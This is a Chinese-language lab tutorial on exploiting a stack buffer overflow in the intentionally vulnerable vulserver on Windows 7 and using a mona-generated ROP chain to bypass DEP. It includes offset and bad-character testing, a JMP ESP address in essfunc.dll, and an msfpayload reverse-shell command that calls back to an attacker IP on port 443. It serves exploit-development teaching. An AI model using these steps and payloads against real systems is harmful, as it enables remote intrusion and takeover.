本文根據參考文獻《Defeating DEP with ROP》,調試vulserver,研究ROP (Return Oriented Programming)基本利用過程,并利用ROP繞過DEP (Data Execution Prevention),執行代碼。 0x00 ROP概述 緩沖區溢出的目的是為了控制EIP,從而執行攻擊者構造的代碼流程。
防御緩沖區溢出攻擊的一種措施是,選擇將數據內存段標記為不可執行,
隨著攻擊技術的演進,產生了ROP (Return-Oriented Programming),Wiki上中文翻譯為“返回導向編程”。下面的結構圖回顧了Buffer overflow的發展歷史和ROP的演進歷史,不同的顏色表示了不同的研究內容,分為表示時間雜項標記、社區研究工作、學術研究工作,相關信息大家可以在網上查找。
由于DEP的存在,為了執行代碼重用攻擊,攻擊者構造ROP Chain,通過尋找小部件(Gadget),將復雜操作轉化為小操作,然后執行有用操作的短指令序列。例如,一個Gadget可能是讓兩個寄存器相加,或者從內存向寄存器傳遞字節。攻擊者可以將這些Gadget鏈接起來從而執行任意功能。
鏈接Gadget的一種方式是尋找以RET結尾的指令序列。RET指令等效于POP+JUMP,它將當前棧頂指針ESP指向的值彈出,然后跳轉到那個值所代表的地址,繼續執行指令,攻擊者通過控制ESP指向的值和跳轉,達到間接控制EIP的目的,在ROP利用方法下ESP相當于EIP。如果攻擊者可以控制棧空間布局,那么他就可以用RET控制跳轉,從而達到間接控制EIP的目的。
下面舉一個簡單例子,說明ROP構造Gadget過程,棧空間形式化表示如下:
Gadget構造過程描述:
假設攻擊者打算將V1值寫入V2所指向的內存空間,即Memory[V2] = V1;
攻擊者控制了棧空間,能夠構造棧空間布局;
攻擊者采用間接方式,尋找等效指令實現,通過尋找Gadget指令實現;
攻擊者找到Gadget,pop eax; ret。pop eax會將當前棧頂指針ESP所指向的內容V1存入寄存器EAX中。ESP值加4,指向新地址ESP=[ESP+4]。RET指令會將ESP新指向的內容a3存入寄存器EIP中,然后CPU會跳轉到值a3所指向的地址執行。因此RET指令能夠根據棧空間上的值,控制程序的跳轉地址;
類似的pop ebp; ret 能夠為ebp賦值,并讓程序跳轉到所指向的地址;
攻擊者如果繼續使用gadget,mov ebp,eax; ret,這將eax中的值移動到ebp所指向的地址中;
通過構造棧空間內容,讓CPU按順序執行上述Gadget,攻擊者能夠控制eax和ebp的值,并讓eax的值寫入地址ebp中。
借助Gadget,通過等效變換,攻擊者可以向任意內存寫入。
Gadget執行過程描述:
1) 初始時,棧頂指針為ESP,所指向內容為V1,EIP=a1。
2) POP操作,ESP值加4,POP相當于內存傳送指令。
3) POP和MOV指令執行完,CPU會繼續向下順序執行。
4) RET相當于POP+JMP,所以RET操作,ESP值也會加4。
ROP利用Gadget圖形示意:
查詢DEP的狀態
根據微軟官方說明:http://support.microsoft.com/kb/912923/zh-cn
運行命令:
wmic OS Get DataExecutionPrevention_SupportPolicy
狀態碼為2,說明是默認配置。
另外,實驗中,需要關閉Window 7防火墻。
查詢運行vulserver的Windows 7系統IP地址:192.168.175.130。
啟動存在漏洞的服務器。
服務器連接測試
攻擊端遠程連接 nc 192.168.175.130:9999
,測試服務器連接狀態。
查看服務器端網絡狀態
生成測試腳本
在 Kali Linux上生成測試腳本,文本編輯nano vs-fuzz1
,權限修改 chmod a+x vs-fuzz1
, 執行腳本 ./vs-fuzz1
。
測試vulserver緩沖區大小
測試TRUN命令,測試接受字符大小,查看vulserver服務器崩潰情況。
不斷調整字符長度,從100到2000,大小為2000時程序崩潰。
備注:由于實驗環境在其他測試中,設置了默認調試器,當vulserver服務崩潰后,Windbg直接跳出,捕獲異常。
修改默認調試器設置注冊表,If Auto is set to 0, a message box is displayed prior to postmortem debugging
。
在32位Windows 7系統下,注冊表在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\AeDebug
。 鍵值Debugger為windbg。
在64位Windows Server2008系統下,注冊表HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\AeDebug
。
將Auto值設置為0后,重新打開vulserver.exe,Kali端重新發送數據,可以看到系統彈出了崩潰對話框。
打開調試器,附加進程
為了進一步測試,程序崩潰情況,打開Immunity Debugger調試器,附加進程。
附加調試器后,重新發送數據包,選擇發送字符長度3000,在調試器左邊窗口的下部,可以看到 "Access violation when writing to [41414141] "。
"41" 是字符A的十六進制表現,具體對應表如下圖。
這說明發送的“A”字符以某種方式由服務器程序錯誤地作為地址寫入。由于地址是32位,也就是4個字節,而“A”的十六進制表示為41,所以地址變成了41414141
。
這是一個典型的緩沖區溢出攻擊,當一個子例程返回時,注入的字符41414141
被放入EIP中,所以它成為下一條將要執行的指令地址。 但41414141
是不是一個有效的地址,無法繼續執行,所以調試器檢測到程序崩潰并暫停,所以顯示了Access violation。
從調試結果而言,程序存在溢出,存在可以被利用的漏洞。
開發漏洞利用程序的一種通常方式是,攻擊字符長度固定,從而產生不同結果。本實驗后續都使用字符長度3000來進行調試。
生成非重復模式的字符
為了精確表示哪些字符注入到EIP中,需要生成非重復的字符,具體代碼如下。
在Kali Terminal 中輸入命令,chmod a+x vs-eip0
,使程序可執行。
執行腳本 ./vs-eip0
,可以看到生成的模式 (pattern)都是3個數字加一個A。
如果形象化展示,中間添加空格,該模式是這樣的:
000A 001A 002A 003A 004A
...
250A 251A 252A 253A 254A
...
495A 496A 497A 498A 499A
我們得到500組,每組4個字符,從000A 到 499A,總共2000個字節。
添加生成的字符,重新生成具有區分度的測試腳本如下。
再次執行。
通過調試器,可以發現"Access violation when executing [35324131]"。
下面將十六進制轉為字符表示:
Hex Character
--- ---------
35 5
32 2
41 A
31 1
因此,字符是“52A1”。然而,由于英特爾處理器是“小端字節序”,所以地址被反序輸入,所以輸入到EIP中的實際字符是“1A25”。
我們輸入的字符串在內存中的表示如下所示:
則不用借助于類似pattern_offset.rb之類的ruby腳本,可以從圖形上快速計算出偏移值,251個四字節+2個字節。
模式'1A25'出現在251×4+2=1004+2=1006個字節之后
由于程序是在接收了2000字符之后崩潰,所以測試腳本在非重復模式之前添加了1000個A字符,則EIP包含4個字節是在2006字節之后。
控制EIP指向地址
在2006字節之后添加BCDE,使程序溢出后,EIP被覆蓋為BCDE,后面繼續填充許多F,以管理員模式運行Immunity Debugger和測試腳本。
調試器捕獲異常,"Access violation when executing [45444342]",說明成功了,因為十六進制值是反序顯示“BCDE”。
查看內存中ESP的值
當子例程返回后,我們來看一下ESP所指向的值。溢出之后,在ESP所指向的空間(01C1F9E0)寫入了許多FFFF。
測試壞字符
漏洞利用程序通過欺騙程序,插入代碼到數據結構。
通常而言,以下這些字符會帶來麻煩:
并不是上述所有字符會帶來麻煩,也有可能存在其他壞字符。所以,接下來的任務是設法注入它們,看看會發生什么。
為了進一步測試壞字符,程序會向服務器發送一個3000字節,其中包括2006個“A”字符,隨后是“BCDE”,程序返回結束后,它應該在EIP中,然后是所有256個可能的字符,最后是足夠的“'F”字符,使得總長度為3000個字節。執行過程如下所示。
查看調試器左下側窗口。第一個字節是00,但其它字符沒有注入到內存中,既不是其他255個字節,也不是“F”字符。說明發生了00字節結束的字符串。 只有'\ X00'是壞字符。
查找合適的模塊
已經控制了EIP,現在需要讓它指向我們希望的地址,我們需要在ESP所執行的位置執行代碼。
能起作用的兩個最簡單指令是“JMP ESP”和兩個指令序列“PUSH ESP; RET”。
為了找到這些指令,我們需要檢查Vulnerable Server運行時載入的模塊。
下面利用Immunity Debugger插件 mona.py,下載后將mona.py放置在程序安裝目錄C: \Immunity Inc\Immunity Debugger\PyCommands
中。
運行服務器程序,在調試器命令輸入窗口中運行
#!bash
!mona modules
由于Windows 7引入了ASLR,它導致模塊的地址在每次啟動之后都會發生變化。改變它每次重新啟動時模塊的地址。
為了得到可靠的漏洞利用程序,我們需要一個模塊不帶有ASLR和Rebase。
從下圖中可以發現,有兩個模塊Rebase 和 ASLR 列都顯示為"False",它們是essfunc.dll和vulnserver.exe。
然而,由于 vulnserver.exe加載在非常低的地址值,開始于0x00,因此,任何引用該地址的vulnserver.exe將會獲得一個空字節,而由于'\X00'是壞字符,所以它將不起作用而不能使用,因此,唯一可用的模塊是essfunc.dll。 12 測試跳轉指令 利用metasploit中的nasm_shell,可以顯示"JMP ESP"和"POP ESP; RET"指令的匯編表示,分別是FFE4和5CC3。
如果我們能在essfunc.dll中找到這些字符序列,那么我們就能用它們開發漏洞利用程序。
在調試器中使用如下命令:
!mona find -s "\xff\xe4" -m essfunc.dll
共發現9個,我們使用第一個地址625011af
。
生成反彈shell代碼
查詢攻擊端IP地址,作為受害端反向連接的IP。
指定IP、端口、編碼器x86/shikata_ga_nai生成shellcode。
msfpayload windows/shell_reverse_tcp LHOST="192.168.175.142" LPORT=443 EXITFUNC=thread R | msfencode -e x86/shikata_ga_nai -b '\x00'
生成完整測試代碼。
運行nc -nlvp 443
,監聽443端口。
運行vulserver,攻擊端執行測試腳本 ./vs-shell,發送數據。
攻擊端獲得反彈shell,可以查詢信息。
測試棧空間代碼執行情況
在基本DEP開啟條件下,測試漏洞代碼在內存空間上的可執行情況。
NOP滑行區有許多“90”,最后跟著的是“CC”,說明可以向內存中注入并執行代碼,代碼為可執行狀態。
DEP全部開啟
再次運行JMP ESP
在DEP全部開啟的狀態下,再次運行./vs-rop1,調試器顯示"Access violation"。
我們不能在棧空間上執行任何代碼,甚至NOP也不行,無法單步執行。DEP是一個強大的安全功能,阻擋了許多攻擊。下面通過ROP來繞過DEP。
理論上來說,我們可以用ROP構造出整個Metasploit載荷,例如,反向連接(reverse shell),但那需要花費大量的時間。在實際應用中,我們只需要用ROP關閉DEP即可,這是一個簡單而優雅的解決方案。
為了關閉DEP,或在DEP關閉后分配內存空間,可以使用的函數有:VirtuAlloc(), HeapCreate(), SetProcessDEPPolicy(), NtSetInformationProcess(), VirtualProtect(), or WriteProtectMemory()。
拼湊“Gadgets”(機器語言代碼塊)是一個相當復雜的過程,但是, MONA的作者已經為我們完成了這項艱難的工作。
!mona rop -m *.dll -cp nonull
MONA會搜尋所有的DLL,用于構造有用的Gadgets鏈,可以想象,這是一個花費時間的工作。
生成ROP Chain
使用mona,我在開了2G內存的虛擬機中,運行消耗了 0:08:39。
mona生成的rop_chains.txt,Python代碼部分。
測試ROP Chain
通過ROP構造測試代碼,再次運行,NOP滑行區有許多“90”,最后跟著的是“CC”,說明ROP鏈關閉了DEP,向棧上注入的代碼可以被執行了,注入的代碼是16個NOP和一個中斷指令INT 3。
如果我們單步執行,EIP能夠繼續往下執行,而不會產生訪問違例(Access violation)。
利用ROP反彈shell
將ROP代碼加入,添加反彈shell的代碼,修改生成測試腳本,開啟nc -nlvp 443,啟動服務端程序,執行程序vs-rop3。
開啟nc監聽端口443,獲得反彈shell,在攻擊端查看Window 7系統上DEP狀態,DataExecutionPrevention_SupportPolicy狀態碼為3,即所有進程都開啟DEP情況下,利用ROP溢出成功。
反彈連接成功后,在服務端,查看連接狀態信息。
使用TCPView查看,443端口是https連接。
1) https://samsclass.info/127/proj/vuln-server.htm
2) https://samsclass.info/127/proj/rop.htm
3) http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
4) http://resources.infosecinstitute.com/stack-based-buffer-overflow-tutorial-part-1-%E2%80%94-introduction/
5) http://en.wikipedia.org/wiki/Return-oriented_programming
6) http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/
7) https://users.ece.cmu.edu/~dbrumley/courses/18487-f13/powerpoint/06-ROP.pptx
8) http://www.slideshare.net/saumilshah/dive-into-rop-a-quick-introduction-to-return-oriented-programming
9) http://codearcana.com/posts/2013/05/28/introduction-to-return-oriented-programming-rop.html
10) http://blog.harmonysecurity.com/2010/04/little-return-oriented-exploitation-on.html
11) http://jbremer.org/mona-101-a-global-samsung-dll/
12) https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
13) http://www.fuzzysecurity.com/tutorials/expDev/7.html
14) http://hardsec.net/dep-bypass-mini-httpd-server-1-2/?lang=en